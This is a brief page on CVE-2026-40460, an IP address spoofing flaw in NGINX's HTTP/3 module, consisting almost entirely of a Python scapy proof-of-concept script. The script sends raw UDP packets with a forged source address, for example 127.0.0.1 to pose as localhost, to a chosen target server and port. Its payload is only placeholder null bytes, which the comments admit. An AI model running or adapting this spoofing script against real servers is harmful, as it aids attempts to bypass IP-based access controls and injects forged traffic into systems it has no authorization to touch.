CVE-2026-40460 NGINX HTTP/3模块IP地址欺骗漏洞

import sys from scapy.all import * # CVE-2026-40460 PoC Concept: IP Spoofing via QUIC/UDP # This script sends a UDP packet to a target NGINX server with a spoofed source IP. # Requires root privileges to send raw packets. def send_spoofed_packet(target_ip, target_port, spoofed_ip, spoofed_port): # Construct IP layer with spoofed source ip = IP(src=spoofed_ip, dst=target_ip) # Construct UDP layer udp = UDP(sport=spoofed_port, dport=target_port) # Construct a dummy payload (QUIC packet structure requires more complexity, this is a concept) payload = b"\x00" * 10 # Simplified payload packet = ip / udp / payload print(f"[*] Sending packet from {spoofed_ip} to {target_ip}:{target_port}") send(packet) if __name__ == "__main__": if len(sys.argv) != 5: print("Usage: python3 poc.py <target_ip> <target_port> <spoofed_ip> <spoofed_port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) SPOOFED_IP = sys.argv[3] # e.g., 127.0.0.1 to simulate localhost SPOOFED_PORT = int(sys.argv[4]) send_spoofed_packet(TARGET_IP, TARGET_PORT, SPOOFED_IP, SPOOFED_PORT)